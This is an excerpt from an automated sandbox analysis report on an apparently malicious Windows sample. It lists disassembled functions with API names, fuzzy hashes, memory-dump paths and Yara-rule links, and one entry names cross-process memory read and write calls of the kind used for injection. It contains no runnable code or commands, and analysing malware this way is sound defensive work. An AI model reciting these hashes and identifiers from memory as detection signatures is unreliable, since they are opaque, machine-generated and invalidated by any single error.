                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessagePostSleep$RectWindow
                                                            • String ID:
                                                            • API String ID: 3382505437-0
                                                            • Opcode ID: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
                                                            • Instruction ID: 5b563ec45826fa6813ee8a330b2c9b304535a551267eba63cd6a649b19441d27
                                                            • Opcode Fuzzy Hash: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
                                                            • Instruction Fuzzy Hash: 3D31077660868547E720DF2AE44867D73A1F799BA8F404271EE9EC7798EE3CE841C700
                                                            Function 00007FF69DBB3824 Relevance: 7.6, APIs: 5, Instructions: 89windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Message$Translate$AcceleratorDispatchInputPeekState
                                                            • String ID:
                                                            • API String ID: 2256411358-0
                                                            • Opcode ID: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
                                                            • Instruction ID: ebf3dbad45d6f446ff324ceae37207ad145f27ec6d3625064f5a978fec4e9e31
                                                            • Opcode Fuzzy Hash: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
                                                            • Instruction Fuzzy Hash: E94190A1D0D682C5FBB08B64989877927A0EF42B48F1411B7D5CEC62E9EE3DE446C701
                                                            Function 00007FF69DBA1B34 Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$BuffCharUpperVisibleWindowwcsstr
                                                            • String ID:
                                                            • API String ID: 2655805287-0
                                                            • Opcode ID: b5ab547c948b7cef08c9277144327c084d2ec7411446b628b916d0c489a33ceb
                                                            • Instruction ID: baec89ef23fbda062538a39d767ff1b062193865a76cd17490412db1aff306fb
                                                            • Opcode Fuzzy Hash: b5ab547c948b7cef08c9277144327c084d2ec7411446b628b916d0c489a33ceb
                                                            • Instruction Fuzzy Hash: 8F213862B0978242EB64CB12A90427926D0FF8AFE0F4485B1EE9DC7798FE3CD450C340
                                                            Function 00007FF69DBC2E64 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$ForegroundPixelRelease
                                                            • String ID:
                                                            • API String ID: 4156661090-0
                                                            • Opcode ID: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
                                                            • Instruction ID: ab6dc25aaaf76d06ab2dd24cb8bb437cf1ed5e05e5e7c85bcbea26ffc69fd845
                                                            • Opcode Fuzzy Hash: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
                                                            • Instruction Fuzzy Hash: 682181A2B08A4182EB24DF26E89407DA3A0FB8AFD0B044075DE8DC7B59EE7CD8418750
                                                            Function 00007FF69DB61F44 Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 2067211477-0
                                                            • Opcode ID: 5a03c1e74c727ad6943a6aafe1eddabbbd93acb60c7f9608f7f9e8f5502f6952
                                                            • Instruction ID: 334fea16cf264b7f54586f8833b5d70a0ed579e04afba1315bb89e0e4ee4e516
                                                            • Opcode Fuzzy Hash: 5a03c1e74c727ad6943a6aafe1eddabbbd93acb60c7f9608f7f9e8f5502f6952
                                                            • Instruction Fuzzy Hash: 3B2150A5A0978285EE24DF65941417D73A0EF96BE0F8845B5EA8D8775DFF3CE4008610
                                                            Function 00007FF69DB6F9D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _set_statfp
                                                            • String ID:
                                                            • API String ID: 1156100317-0
                                                            • Opcode ID: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
                                                            • Instruction ID: d1068723da86bdd53d2b532a093283f4e7c56bd0ef3d79f0d43d093362ff6bb5
                                                            • Opcode Fuzzy Hash: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
                                                            • Instruction Fuzzy Hash: 75116DA6E1860305F6741129E44237D3162FF9F3B0F8942B4FBEEC66DEAE1CA8408100
                                                            Function 00007FF69DB9CAB4 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: HeapInformationToken$AllocErrorLastProcess
                                                            • String ID:
                                                            • API String ID: 44706859-0
                                                            • Opcode ID: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
                                                            • Instruction ID: 45e31167141231e8af3a128cada9ab5fb2f055650b505e7214cc7e8318d81423
                                                            • Opcode Fuzzy Hash: 3045165107d4a0871487eb7a52e49b2bb276054106bd9f861ce7bf3483f017d6
                                                            • Instruction Fuzzy Hash: 25114876604B8186E720CF12E84056DB7B4FB9AF90B5545BADF8883B18EF3CE525C780
                                                            Function 00007FF69DB9CB58 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: HeapInformationToken$AllocErrorLastProcess
                                                            • String ID:
                                                            • API String ID: 44706859-0
                                                            • Opcode ID: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
                                                            • Instruction ID: 98920561bcfdfbbeee9ad02366006f882b425dd50ef9b7759dfb432d5c9f163d
                                                            • Opcode Fuzzy Hash: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
                                                            • Instruction Fuzzy Hash: 67113AB6A04B8186E7208F52E84056DB7A4FB9AB80B1544B6DF8983B18EF3CE9158740
                                                            Function 00007FF69DB9B748 Relevance: 7.5, APIs: 5, Instructions: 43stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: From$Prog$FreeStringTasklstrcmpi
                                                            • String ID:
                                                            • API String ID: 3897988419-0
                                                            • Opcode ID: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
                                                            • Instruction ID: 0c991cd9a40efe340ebfd226a785330f3cc6e02debf8b12ca59b833551706b69
                                                            • Opcode Fuzzy Hash: c2625648870bea748c00488204de808f07a4ef133cb019afb6ef5a542de6e20a
                                                            • Instruction Fuzzy Hash: A51130A5608A9186E7208B26E49033962A4FF96BC4F1845B4EE8DC775DEF3DD4418714
                                                            Function 00007FF69DBA2ED0 Relevance: 7.5, APIs: 5, Instructions: 37windowtimeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                            • String ID:
                                                            • API String ID: 3741023627-0
                                                            • Opcode ID: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
                                                            • Instruction ID: 13a3b434541442a804ab56da427838f93d6f0917a24265dac1e399fde9d16e29
                                                            • Opcode Fuzzy Hash: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
                                                            • Instruction Fuzzy Hash: 8C1161A2A08982C2EB759F24E45437D23A0FF8AB94F4480B1D9CD8729CEF7DD589C750
                                                            Function 00007FF69DBAD7F8 Relevance: 7.5, APIs: 5, Instructions: 36sleepCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: PerformanceQuery$CounterSleep$Frequency
                                                            • String ID:
                                                            • API String ID: 2833360925-0
                                                            • Opcode ID: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
                                                            • Instruction ID: a5257a501a36f4f2eb69af743bfeacc5cbabc37c161ea37a695c571381d1a5f6
                                                            • Opcode Fuzzy Hash: e93a488e7ef773f4239d39afdac6f2cad4444a29d3dd75f0fed3b9e62e675ca8
                                                            • Instruction Fuzzy Hash: 1201F7A1A0CA0242EB258B35E49413DA3E0EFA7790B1802B5E18FD6569FF3CE4C4C650
                                                            Function 00007FF69DBB0008 Relevance: 7.5, APIs: 5, Instructions: 33synchronizationthreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • EnterCriticalSection.KERNEL32(?,?,?,00007FF69DB929AD,?,?,?,00007FF69DB42AB2), ref: 00007FF69DBB003C
                                                            • TerminateThread.KERNEL32(?,?,?,00007FF69DB929AD,?,?,?,00007FF69DB42AB2), ref: 00007FF69DBB0047
                                                            • WaitForSingleObject.KERNEL32(?,?,?,00007FF69DB929AD,?,?,?,00007FF69DB42AB2), ref: 00007FF69DBB0055
                                                            • ~SyncLockT.VCCORLIB ref: 00007FF69DBB005E
                                                              • Part of subcall function 00007FF69DBAF7B8: CloseHandle.KERNEL32(?,?,?,00007FF69DBB0063,?,?,?,00007FF69DB929AD,?,?,?,00007FF69DB42AB2), ref: 00007FF69DBAF7C9
                                                            • LeaveCriticalSection.KERNEL32(?,?,?,00007FF69DB929AD,?,?,?,00007FF69DB42AB2), ref: 00007FF69DBB006A
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CriticalSection$CloseEnterHandleLeaveLockObjectSingleSyncTerminateThreadWait
                                                            • String ID:
                                                            • API String ID: 3142591903-0
                                                            • Opcode ID: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
                                                            • Instruction ID: 6c7d5c7625e5de55303351a7095b5f5cd9236693a2ec4b12d431fdc24f4e4ab9
                                                            • Opcode Fuzzy Hash: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
                                                            • Instruction Fuzzy Hash: 27014C7AA08B4186E7209F15E48022D7370FB99B90F504075DBCE83B99EF3CD492C780
                                                            Function 00007FF69DB61DA0 Relevance: 7.5, APIs: 5, Instructions: 31threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorExitLastThread
                                                            • String ID:
                                                            • API String ID: 1611280651-0
                                                            • Opcode ID: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
                                                            • Instruction ID: 00ca05454c0963c584cd29e41ac2c5da4e7c5ec3b4ed9b387a3911ccf86ca59e
                                                            • Opcode Fuzzy Hash: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
                                                            • Instruction Fuzzy Hash: 44016261F0DA4292EA245B31944413C32A1FF52BB5F9457B5C6BE836D9FF3CE8688340
                                                            Function 00007FF69DBAB5D4 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                            • String ID:
                                                            • API String ID: 179993514-0
                                                            • Opcode ID: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
                                                            • Instruction ID: f1207425dca62bfafba0f9bf3432ed28d96eb0fe72e5e06bb1f19680f56c1bac
                                                            • Opcode Fuzzy Hash: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
                                                            • Instruction Fuzzy Hash: B6F0E590F1820242FB341776B85827C23C1FF5A750F8040F0C88AC3349FD3D94D952A0
                                                            Function 00007FF69DBB6D04 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 308comCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CreateInitializeInstanceUninitialize
                                                            • String ID: .lnk
                                                            • API String ID: 948891078-24824748
                                                            • Opcode ID: bb49a61337d89a9848f7780026d10ac62e6b3b39f2b5ab5deb7fc3459a4390ae
                                                            • Instruction ID: 0a17c90e7aff4f3639d6bd836bc176bb8cb1fcdf9a90b48dd904159ed6411b9a
                                                            • Opcode Fuzzy Hash: bb49a61337d89a9848f7780026d10ac62e6b3b39f2b5ab5deb7fc3459a4390ae
                                                            • Instruction Fuzzy Hash: 65D1A4A2B18B4692EB20EB15D4906AD6760FB85BC4F405071EE8E87BADFF3CD545C740
                                                            Function 00007FF69DB70040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 205COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                            • API String ID: 3215553584-1196891531
                                                            • Opcode ID: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
                                                            • Instruction ID: ced993917a1997b4ae39cb761f9e2c912a881c1eb947ef3a7767f510e55926f0
                                                            • Opcode Fuzzy Hash: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
                                                            • Instruction Fuzzy Hash: 86816DF2E08202A7FF754F15975027926B0EF17784F5480B6EA8AD3E8CFE6DA950D241
                                                            Function 00007FF69DB5B1E8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID: $*
                                                            • API String ID: 3215553584-3982473090
                                                            • Opcode ID: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
                                                            • Instruction ID: 64da1382e7b1eb9259fb37ab9ec798d34f16041dbc9e29335c0e98dfb4d3be02
                                                            • Opcode Fuzzy Hash: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
                                                            • Instruction Fuzzy Hash: F76151B290C6428AE7798F24C06577C3BA0EB47B18F2412B5C6CAD62DDEF69E441C719
                                                            Function 00007FF69DB9EAC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                            • String ID: @
                                                            • API String ID: 4150878124-2766056989
                                                            • Opcode ID: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
